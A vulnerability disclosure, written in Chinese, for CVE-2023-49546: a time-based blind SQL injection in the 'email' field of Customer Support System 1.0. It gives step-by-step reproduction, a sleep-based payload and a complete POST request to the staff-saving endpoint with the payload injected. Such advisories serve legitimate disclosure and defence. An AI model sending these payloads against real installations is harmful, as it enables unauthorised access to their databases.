描述: Customer Support System 版本1存在一个SQL注入漏洞。恶意攻击者在通过存在漏洞的参数'email'创建/编辑员工用户时，可以向MySQL数据库发送SQL命令。
受影响的产品版本: Customer Support System 1.0
CVE 作者: Geraldo Alcântara
日期: 28/11/2023
确认于: 19/12/2023
CVE: CVE-2023-49546
测试环境: Windows
1- 登录应用程序。
2- 导航到页面 /customer_support/index.php?page=new_staff 以添加员工用户，或 /customer_support/index.php?page=staff_list 以编辑员工用户。
3- 创建或编辑员工用户，并在"email"参数中插入恶意负载。
payload: '+(select*from(select(sleep(2)))a)+'
POST /customer_support/ajax.php?action=save_staff HTTP/1.1
Host: 192.168.68.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------323911847618056921711360698406
Content-Length: 1327
Origin: http://192.168.68.148
Connection: close
Referer: http://192.168.68.148/customer_support/index.php?page=new_staff
Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="id"
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="firstname"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="middlename"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="lastname"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="contact"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="address"
Teste2
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="department_id"
1
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="email"
[email protected]'+(select*from(select(sleep(5)))a)+'
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="password"
teste
-----------------------------323911847618056921711360698406
Content-Disposition: form-data; name="cpass"
teste
-----------------------------323911847618056921711360698406--
发现者/致谢:
Geraldo Alcântara